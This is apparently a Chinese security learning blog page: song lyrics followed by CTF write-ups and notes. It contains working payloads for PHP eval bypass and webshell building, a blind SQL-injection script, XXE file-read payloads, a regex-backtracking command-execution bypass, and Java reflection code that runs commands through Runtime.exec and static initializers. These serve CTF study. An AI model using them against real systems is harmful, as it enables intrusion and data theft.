0%

我从来都不是个好脾气,

从来没背负过坏事情,愿意抵制负面情绪

有种事情全部叫做无奈,无能为力也无心去理睬

只能想快点闭上眼睛,逃离那些注定

可不是呢,你不招惹

总会有一万个理由让你不开心,怎么才能如意

我打破了天,我打破了地

我打破了不管你不愿意,谁都挡不住我坏的心情

我抓住了云,我抓住了雨

我开始了慢速低空飞行,谁都不能阻止我

我无比沉重的坏心情,我从来都不是个好脾气

那也是有你一半的原因,从来没背负过坏事情

愿意抵制负面情绪,有种事情全部叫做无奈

无能为力也无心去理睬,只能想快点闭上眼睛

逃离那些注定,可不是呢

你不招惹,总会有一万个理由让你不开心

怎么才能如意,我打破了天

我打破了地,我打破了不管你不愿意

谁都挡不住我坏的心情,我抓住了云

我抓住了雨,我开始了慢速低空飞行

谁都不能阻止我,我无比沉重的坏心情

可不是呢,你不招惹

总会有一万个理由让你不开心,怎么才能如意

我打破了天,我打破了地

我打破了不管你不愿意,谁都挡不住我坏的心情

我抓住了云,我抓住了雨

我开始了慢速低空飞行,谁都不能阻止我

我无比沉重的坏心情 ​

[BSidesCF 2019]Kookie

图片

登陆环境有一个cookie的提示,用burp抓包,改下数据包

图片

发送过去就有flag了

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

rce,但是这里正则过滤大小写字母和数字。最开始我以为直接用无字符rce的脚本生成payload并且注意下长度就行,但是看了WP考点不是这个,就复现下
因为过滤了大小写字母和数字,可以用url编码+取反绕过或是异或。异或就是我们将php代码进行url编码后取反,传入参数后服务端会对url进行解码,这时因为取反后,会url解码成不可打印字符,所以达成绕过的效果

1
2
<?php
echo urlencode(~'phpinfo');

查看phpinfo();,搜索flag并没有,但是能看到禁用函数倒是有挺多,尝试构建一句话木马

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>

这里一句话是仿照网上的,由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用
所以我们需要用assert来构造,获得shell后,尝试用蚁剑连,但是连上去完全没有执行权限,等于是一个无用的shell

因为这里主要是php本地设置了disable_functions,所以我们可以尝试用蚁剑插件来绕过这个

图片

开始运行,在根目录运行./readflag就是flag(简易解法,稍微难点的要用恶意so文件,后续再补——)

[MRCTF2020]套娃

进入环境打开F12,有一些提示

1
2
3
4
5
6
7
$query = $_SERVER['QUERY_STRING'];  
   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){  
 die('Y0u are So cutE!');  
 }  
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){  
 echo "you are going to the next ~";  
 } 

substr_count是对特定变量其内部查找指定字符的个数,这里要求$query里下划线和下划线的url编码不能出现,否则就die,然后需要传一个b_u_p_t,并对其进行正则匹配,如果其是以23333以及以23333结尾的话,就可以进入下一步
然后这里出现了一个$_SERVER[‘QUERY_STRING’],其含义是获取的是?后面的值,因为我们传的参数里不能存在_和%5f,可以用空格进行替代,另外在正则匹配中回车字符代表一次匹配结束,所以这里还需要加一个%0A

构建第一个payload:

1
?b u p t=23333%0A

进入第二层,有一个php需要我们进入,进去有一堆jsfuck,解码后让我们任意post一个Merak,这里值任意
进入第三层,进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 




function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

ip限制这里,因为常见的是XFF和Client-ip这俩,但这里并不清楚使用哪个,所以先都用,也不影响。

1
file_get_contents($_GET['2333']) === 'todat is a happy day

这里要求我们用file_get_contents读取到的内容与它完全一致,根据之前伪协议的总结,直接使用data://协议传就行
data://text/plain,todat is a happy day

然后最后一点就是还要传一个$file,file会经过change这个函数进行简单加密

1
2
3
4
5
6
7
8
function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

逻辑挺简单的,先进行一个base64解码,然后对字符串的每一位先转成ascii然后根据所在位+i*2,再转回字符。由此重复两次,由于逻辑简单,完全可以去在线编译一个个解码出来,最后出来的是fj]a&f\b,并进行base64编码
反写脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="

图片

这样传就行了

[WUSTCTF2020]颜值成绩查询

简单的sql注入题,报错和布尔都没回显,不过异或倒是可以

1^1^1,诸如此类

写一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

def start_ascii():
    database_name = ""
    #table_name = ""
    #column_name = ""
    url = "http://0212c1b4-ce72-4f59-80f1-69a50cd1278b.node4.buuoj.cn:81/?stunum=1"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            #payload = "^(ascii(substr((select(database())),%d,1))>%d)^1#"%(i,mid)
            #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d)^1#" % (i, mid)
            #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d)^1" % (i, mid)
            payload = "^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, mid)
            res = requests.get(url + payload)
            if 'exists' in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high)//2
            # 跳出循环
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        #table_name = table_name + chr(mid)
        #column_name = column_name + chr(mid)
        print(database_name)
        time.sleep(1)

if __name__ == "__main__":
    start_ascii()

[NCTF2019]True XML cookbook

(奇奇怪怪的按照WP来,内网里没有存活的ip)

打开是个登录框,根据题目XML考虑是XXE注入,直接上之前的一道题的payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

图片

能读到用户文件,但直接读file:///flag是会报错的,怀疑没有这个文件,直接读源码也没啥有用的信息。

按照WP来说,要去看内网也就是file:///etc/host和file:///proc/net/arp这两个文件,会在这两个文件里存在一个存活的ip,运气好直接去读就行,运气好还需要burp跑一下C段爆破下,但我这里一个ip都没有奇奇怪怪

一些其他关于内网的文件

1
2
3
4
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

从XML相关一步一步到XXE漏洞
 一篇文章带你深入理解XXE漏洞

[FBCTF2019]RCEService

这道题也是怪怪的,虽然是说知道以json的格式去传命令来rce,但是看WP,大家都对源码的由来模模糊糊?奇奇怪怪

图片

打开环境就是一个输入框,提示按照json格式来

1
{"cmd":"ls"}

图片

但把命令换成cd或者pwd等其他就直接被检测,到这里就没辙了,只能去看WP里的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

过滤的确实太多了,看着都头疼
不过有一个重点,这里是采取正则过滤的,可以从正则入手

源码中,正则规则设置的是匹配整个字符串,也就是从开头和结尾进行检查,然后并没有/m也就是没有多行匹配,所以我们可以用%0a也就是换行绕过,所以在匹配时不会匹配%0a,但是%0a又存在所以会绕过

这里又有一个点

1
putenv('PATH=/home/rceservice/jail');

题目改变了环境变量,所以我们只能用绝对路径来使用命令,而不是相对路径(作用就是避免调用系统命令)
尝试构造payload

1
?cmd={%0a"cmd":"/bin/cat%20/home/recservice/flag%0a}

但是有点奇怪啊 直接在输入框里输入不太行,只能在hackbar里输入,怪起来了
但是后面看了下这并不是预期解,只是因为正则没写好而已

预期解反而是从P神的博客中得来(膜下P神),主要考点是回溯,没听说过,学习下

参考文章:PHP利用PCRE回溯次数限制绕过某些安全限制

(第一次在ctf中见到了编译原理的知识,长见识)

看完就知道什么意思了,仿照p神给出的脚本,根据题目要求改下

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://e368dc5e-4417-4353-b2de-be8f1b4dd4fe.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

总之就是正则回溯一般是有次数限制的,超过限制不会返回1或者0而是false,可以通过发送超长字符串,让正则执行失败,防止回溯来bypass就一定要用===来过判断

在php中使用$_GET或者$_POST进行传值时,比如?f=a会变成Array([f] => “a”),但是值得注意的是查询字符串在解析的过程中会将某些字符删除或用下划线代替。/?%20news[id%00=42会转换为Array([news_id] => 42),那如果有一些过滤或者是WAF规则是当news_id参数的值是一个非数字的值则拦截

可以尝试用以下语句进行绕过

1
/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}

以上看大佬的博客,搜集到的脚本,可以爆破不影响字符解析的一些符号
图片

parse_str函数通常用于解析get.post和cookie中,如果网站允许接收带有特殊字符的参数,那么可以用这个函数进行解析,经过测试,foo%20bar和foo+bar等效,均解析为foo bar。


$_SERVER 函数中QUERY_STRING和REQUEST_URI区别

自己随便建立一个站,localhost/test(打开这里的index.php)

结果:

$_SERVER[‘QUERY_STRING’] = “”;

$_SERVER[‘REQUEST_URI’]  = “/test/“;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

在原有url上加上查询例如

localhost/test?p=2(附带查询)

结果:

$_SERVER[‘QUERY_STRING’] = “p=2”;

$_SERVER[‘REQUEST_URI’]  = “/test/?p=2”;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

localhost/test?p=2&q=3

结果:

$_SERVER[‘QUERY_STRING’] = “p=2&q=3”;

$_SERVER[‘REQUEST_URI’]  = “/test/index.php?p=2&q=3”;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

由实例可知:

$_SERVER[“QUERY_STRING”]  获取查询 语句,实例中可知,获取的是?后面的值

$_SERVER[“REQUEST_URI”]   获取localhost后面的值,包括/

$_SERVER[“SCRIPT_NAME”]   获取当前脚本的路径,如:index.php

$_SERVER[“PHP_SELF”]      当前正在执行脚本的文件名

 

题记:最近心血来潮,想玩下代码审计,奈何java底子完全不行,php还能将就看看,就找老大哥要了几个简单来玩玩,顺便复现

找到index.php文件夹,进行cms网站搭建,安装,安装完成后访问后台url:

http://127.0.0.1:8086/cms/admin/login.php

审计(偷懒用审计工具扫了下):

  1. SQL1
    查看源码cms/admin/art_list.php:

图片

通过源码这里发现,这里利用isset()函数来判断$_GET['tid']传递的tid值是否为空,然后再将GET方式传递的tid值赋值给变量$tid,下面的代码就很关键:

**$tid_zis=$c_sql->select("select id from type where tid={$tid}");**

    这里就是$c_sql来引用select("select id from type where tid={$tid}"),这里就继续追踪select()函数发现在/cms/include/class_sql.php被定义:

图片

这里就发现select($sql)函数下面是直接执行了,那么这里就有问题了,在前面GET方式进行传参的时候tid并没有进行过滤,这里在进行调用select()函数来查询数据库的时候是直接执行了,所以这里就存在SQL注入,那么就可以进行漏洞检测,通过源码我们可以定位到是art_list.php

然后根据代码,是通过GET方式来传递tid值,所以可以构造payload:

判断数据库长度是否大于6,回显正常

http://127.0.0.1:8086/cms/admin/art_list.php?tid=3and (length(database())>6)

图片

http://127.0.0.1:8086/cms/admin/art_list.php?tid=3and (length(database())>13)

判断数据库长度是否大于13,回显无数据

图片

查库名第一个字符

图片

图片

当ascii为100即第一个字母为d时,回显正常。存在布尔注入

在正常情况下,除了Java自带的类,我们要想使用一个类,就需要我们导入即import才能使用,所以forName就显得特别重要,因为我们可以拿这个来加载任意类。

在一些情况中,类名的部分会有美元$这个符号,$的作用是查找内部类。

在Java中,普通类c1中支持编写内部类c2,在编译时,会生成两个文件:c1.class和c1$c2.class,可以把他们看做两个不相关的类,通过class.forName就可以加载这个内部类

获取了这个类,就能接着通过反射来获取属性,方法,以及进行实例化。

newInstance()是调用类的无参构造函数,不过有时使用这个方法时会不成功,主要有两点

  1. 想调用的类没有无参构造函数
  2. 想调用的类构造函数是私有的
    举个例子,在构造命令执行相关Payload时,一般会使用Runtime这个类,但不能直接这样执行命令
1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id"); 

会有报错!
原因是Runtime类的构造方法是私有的,而我们是不能直接使用的,所以会有报错,这里其实就使用了单例设计模式。

比如说,在Web网站中会使用数据库进行大量数据交互,但数据库链接只需要一次链接就行,不是每次使用时还要重新建立一个新的链接,此时将建立数据库链接的相关构造类的构造函数设置为私有,编写一个静态方法,使用单例模式

1
2
3
4
5
6
7
8
9
10
public class TrainDB { 
private static TrainDB instance = new TrainDB();

public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码...
}
}

代码如图所示,只有类初始化时才执行一次构造函数,否则只能通过getInstance来获取这个对象,避免建立多个数据库链接
Runtime类是很明显的一个单例模式设计例子,只能通过Runtime.getRuntime()来获取Runtime对象,所以要将上面的payload进行修改

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe"); 

getMethod和invoke都是反射中很熟悉的方法,又因为在Java语法中类是可以进行重载的,不能仅仅通过函数名来确定一个函数。所以,调用getMethod的时候,需要传给需要获取的函数的参数类型列表,这里使用的Runtime.exec这个方法就有6个重载

在这里我们使用最简单的,只有一个参数类型是String,所以使用getMethod(“exec”,String.class)来获取Runtime.exec方法

invoke()作用是执行方法:

  1. 如果这个方法是一个普通方法,第一个参数就是类对象
  2. 如果这个方法是一个静态方法,第一个参数就是类
    所以将上述代码进行简化
1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");

这下会清楚很多
那如果一个类没有无参构造方法,也没有单例模式里的静态方法,如何通过反射实例化该类?

为了解决这个问题,我们需要引入一个新的反射方法getConstructor

与getMethod类似,getConstructor接收的参数是构造函数列表类型,因为构造函数也支持重载,有无参数即是一个体现。

获取想要的构造函数,那我们就要用newInstance来执行

比如另一种执行命令的方式ProcessBuilder,用反射来获取其构造函数,调用start()来执行命令

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder"); 
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start(); 

ProcessBuilder拥有两个构造函数

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String… command)
    这里用到了第一个形式的构造函数,所以在getConstructor传入的是List.class,但这里很明显使用了一个强制类型转换,所以需要一个反射来完成
1
2
Class clazz = Class.forName("java.lang.ProcessBuilder"); 
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));

通过 getMethod(“start”) 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是 ProcessBuilder Object了。
那如果采取使用第二个构造函数呢?这里面涉及了可变长参数,在Java里如果定义函数时不确定参数数量的时候,可以使用…这样的语法,来表示这个函数的参数个数是可变的。对于可变长参数,java其实在编译的时候会编译成一个数组

1
2
public void hello(String[] names) {} 
public void hello(String...names) {} #不能重载

所以我们如果有一个数组,就可以直接传给我们想使用的函数,对于反射来说同理,在这里把字符串数组的类String[].class传给getConstructor,获取第二种构造函数

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class) 

在调用 newInstance 的时候,因为这个函数本身接收的是一个可变长参数,我们传给 ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).netInstance(new String[][]{{"calc.exe"}})).start();

如果一个方法或构造方法是私有的呢?

这里就要使用getDeclared系列的反射,与普通的区别在于

  • getMethod系列方法获取的是当前类中所有公共方法,包括继承的方法
  • getDeclaredMethod系列方法获取的是当前类中的声明过的方法,是确确实实写在类里的,包括私有的,但是继承的类不包括
    具体使用方法是与getMethod等是类似的

在前面说过Runtime这个类的构造函数是私有的,就要用Runtime.getRuntime()来获取对象,现在也可以用getDeclareConstructor来获取这个私有的构造方法进行实例化

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclareConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");

这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。

反射的优点和缺点

  1. 优点:可以动态的创建和使用对象,使用灵活,没有反射机制,就无法正常使用框架技术
  2. 缺点:使用反射基本是解释执行,对执行速度有影响
    构建代码查看时间差距:

首先一个Cat类,中间的输出语句可要可不要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package reflection;
#Cat.java
public class Cat {
public Cat(){
}
public Cat(String name){
}
public void hi(){
// System.out.println("1");
}
public void cry(){
// System.out.println("2");
}
}

然后构建代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package reflection;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionDemo {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
m1();
m2();
}
public static void m1(){
Cat cat = new Cat();
long start = System.currentTimeMillis();
for (int i = 0; i < 100000; i++) {
cat.hi();
}
long end = System.currentTimeMillis();
System.out.println("传统方法耗时:"+(end - start));
}
public static void m2() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class cls = Class.forName("reflection.Cat");
Object o = cls.newInstance();
Method hi = cls.getMethod("hi");
long start = System.currentTimeMillis();
for (int i = 0; i < 100000; i++) {
hi.invoke(o);
}
long end = System.currentTimeMillis();
System.out.println("反射方法耗时:"+(end - start));
}
}

上面的前一段是传统方法调用,下面是反射来调用
图片

因为我这里循环次数不是很大,差距也只是个位数倍数,将i调整为10亿,再运行

图片

时间差距几乎是很大的

反射调整优化-关闭访问调查:

1. Method和Field.Constructor对象都有setAccessible()方法
2. setAccessible作用是启动和禁用访问安全检查的开关
3. 参数值为true表示反射的对象在使用时取消访问检查,提高反射的检查,参数值为false则表示反射的对象执行访问检查
1
2
3
4
5
6
7
8
9
10
11
12
13
public  static void m3() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class cls = Class.forName("reflection.Cat");
Object o = cls.newInstance();
Method hi = cls.getMethod("hi");
hi.setAccessible(true);
long start = System.currentTimeMillis();
for (int i = 0; i < 1000000000; i++) {
hi.invoke(o);
}
long end = System.currentTimeMillis();
System.out.println("反射方法m3耗时:"+(end - start));

}

图片

优化效果如图,但效果不是特别好,但聊胜于无

Class类:

  1. Class也是类,因此也继承Object类
  2. Class类对象不是new出来的,是系统创建(见笔记1的程序运行图解)
    比如说:
1
Cat cat = new Cat();

在这一步进行打断点debug,step进去首先进入ClassLoader.java里的loadClass方法,此时方法里的String name参数刚好指代上面的Cat方法。
如果使用反射方法进行创建对象

1
Class cls = Class.forName("Cat");

经过多次方法的调动,最后也会调用一个loadClass方法加载一个Cat类的Class类对象
3.对于某个类的Class类对象,在内存中只有一份,因为类只加载一次

4.每个类的实例都会记得自己是由哪个Class实例所生成

5.通过Class可以完整的得到一个类的完整结构,通过一系列API

6.Class对象是存放在堆里的

7.类的字节码二进制数据,是放在方法区的,有的地方称为类的元数据

获取Class对象:

  1. 代码阶段/编译阶段:
    Class.forName()

前提:已知一个类的全类名,且该类在类路径下,可通过Class类的静态方法forName()获取,可能抛出ClassNotFoundException,实例:

1
Class cls1 = Class.forName("java.lang.Cat");

多用于配置文件,读取类的全路径,加载类
2.Class类阶段(加载阶段):

类.class

前提:若已知具体的类,通过类的class获取,该方式最为安全可靠,程序性能最高

实例:

1
Class cls2 = Cat.class;

多用于参数传递,比如通过反射得到对应构造器对象
3.Runtime运行阶段:

对象.getClass()

前提:已知某个类的实例,调用该实例的getClass()方法获取Class对象

实例:

Class clazz = 对象.getClass();

通过创建好的对象,获取Class对象

4.通过类加载器来获取到类的Class对象

  • 先得到类加载器 car
    1
    ClassLoader classLoader = car.getClass().getClassLoader();
  • 通过类加载器得到Class对象
    1
    Class cls = classLoader.loadClass(classAllPath)
    以上获得的Class对象都是同一个(因为内存里对于一个类只允许有一个Class类对象)

5.基本数据类型按照如下方式得到Class类对象

Class cls = 基本数据类型.class

6.基本数据类型对应的包装类,可以通过.TYPE得到Class类对象

Class cls = 包装类.TYPE

到此为止,基本的反射语法都能看懂了,那我们学习某个知识肯定到最后也是为了Bypass也就是绕过。在安全中,使用反射的一大目的也是为bypass。

forName有两个函数重载:

1
2
Class forName(String name) 
Class forName(String name, **boolean** initialize, ClassLoader loader)

第一个就是我们常见获取class方式,其实也就是第一种的封装
可以理解为下面

1
2
3
Class.forName(className)
==
Class.forName(className,true,currentLoader)

一般情况下,forName第一个参数是类名,第二个代表是否初始化,第三个参数就是类加载器
类加载器就是告诉JVM如何去加载这个类,在这里JAVA默认根据类名来加载类,这个类名是类的完整路径,比如:java.lang.Runtime

第二个参数是initialize,决定是否初始化

在反射中如果使用功能.class来创建Class对象的引用时,不会自动初始化,如果使用forName()会自动初始化Class对象

(代码中test.class对象的本质就是test.class文件加载到内存中的内容)

这里初始化,可以理解为原来在C语言的中给一个变量赋初值,将这个思想转换到这里,也就是给一个类赋一个初始状态

1
2
3
4
5
6
7
8
9
10
11
public class TrainPrint { 
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class); }
public TrainPrint()
{
System.out.printf("Initial %s\n", this.getClass());
}
}

以上三个代码块,运行顺序分别是static,empty block以及最后的构造函数
static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯。

所以说forName中第二个参数就是告诉JVM是否执行类初始化

假设有一个函数,其中参数name可控且会执行初始化:

1
2
public void ref(String name) throws Exception {  Class.forName(name); 
}

那么我们可以构造一个类,来执行我们的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e)
{
// do nothing
}
}
}

其中我们将特意设置的恶意代码放在static中

Misc

签到

关注公众号按照图片所给音调在环境里点就行了

tiger

下载附件得到png-key.txt,内容有ag2a`f76

在tips.txt里可以得到以下信息

1
2
1.These are rot for 47 days
2.Have you heard that lsb steganography also requires a password?

第一个很明显是rot47,第二个应该是要用lsb做一个带密码的解密
所以

•ag2a`f76 是 rot47 加密,解密为:28a217fe

•PNG 图片是 LSB 加密

https://github.com/livz/cloacked-pixel

解密可以得到where这个压缩包的解压密码:71zr9H6jnXRHn64WBxMbCzz16saCZWiw

在里面看到key.zip和flag.zip中的information.txt的crc32都是一样,很明显是明文攻击,可以得到flag.zip的密码

Nh6i@= 

用010打开flag文件,可以看到png的文件头,改后缀名得到一个二维码。

用bcTester扫,然后在010里面转为hex,可以得到0宽隐写后的文本

解密

https://yuanfux.github.io/zero-width-web/

得到以下字符

1
Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!

很像移位后的密码,考虑是凯撒或者维吉尼亚,但我这里用凯撒批量处理后没结果,采取维吉尼亚爆破
https://www.guballa.de/vigenere-solver

1
You are a good CTFer because you can solve my challenge, next I will give you my secret, my secret is flag{xxxxxx}, have fun!

Crypto

Train

(不知道这道题是不是有问题,我过了验证随便输了俩一样的字符就给flag了)

验证就是爆破sha256前四位,网上找的然后改成交互的就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import hashlib
table = string.digits + string.ascii_letters
r = remote('url',port )
def proof():
    r.recvuntil(b'sha256(XXXX')
    line = r.recvline()[:-1].decode()
    print(line)
    tmp = line[line.find('+') + 1:line.find(')')]
    print(tmp)
    aim = line[line.find('== ') + 3:]
    print(aim)
    for i in table:
        for j in table:
            for k in table:
                for l in table:
                    ans = i + j + k + l
                    if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
                        print(ans)
                        r.recvuntil(b'Plz Tell Me XXXX :')
                        r.sendline(ans.encode())
                        return

proof()
r.interactive()

Web

Mercy-code

做的时候,一眼顶针就知道是无参数rce,但看了下禁的挺多的,就去搜了下博客,结果能搜到的全禁了!只能翻手册了,其实最重要的部分就是要构造.(点)这个环节,剩下的直接去读文件就行

最后找到这个

1
cmd=echo(show_source(end(scandir(next(str_split(zend_version()))))));

zend_version()返回3.2.1,str_split分割各个字符,next返回下一个字符,第一个字符是3,下一个就是.(点),剩下的就是读文件常见操作。
但是赛后发现是原题,这里附上网址

https://www.it610.com/article/1465459456212070400.htm

Payload:echo(implode(scandir(chr(strrev(uniqid())))));

Bp跑一下看看flag在哪,发现在当前目录下的一个php文件里

然后 show_source(end(scandir(chr(strrev(uniqid())))));

概述:

  • 反射是指对于任何一个Class类,在运行的时候能直接得到这个类的全部成分,这种运行时动态获取类信息以及动态调用类中成分的能力叫做Java反射
    正常方式:引入需要的”包类”名称-》通过New实例化-》取得实例化对象

反射方式:实例化对象-》getClass()方法-》得到完整的包类名称

相关API:

java.lang.Class:代表一个类,Class对象表示某个类加载后在堆里的对象

java.lang.reflect.Method:代表类的方法,Method对象表示某个类的方法

java.lang.reflect.Field:代表类的成员变量,Field对象表示某个类的成员变量

java.lang.reflect.Constructor:代表类的构造器,Constructor对象表示构造器

关键:

反射的第一步是先得到编译后的Class类对象,然后就可以得到Class的全部成分

HelloWorld.java ->javac ->HelloWorld.class

Class c = HelloWorld.class;

即在运行时获取类的字节码文件对象,然后可以解析类中的全部成分

功能:

  • 判断任意一个对象所属的类
  • 判断任意一个类的成员变量和成员方法
  • 调用任意一个对象的方法
  • 构造任意一个类的对象
  • 动态代理
    获取Class类对象的方法:
  1. Class类静态方法forName(String className)(将字节码文件加载进内存返回Class对象)
    Class c = Class.forName(全限名:包名+类名)#源代码阶段

  2. 类名.class,通过类名的属性class#Class对象阶段

Class c1 = Student.class;

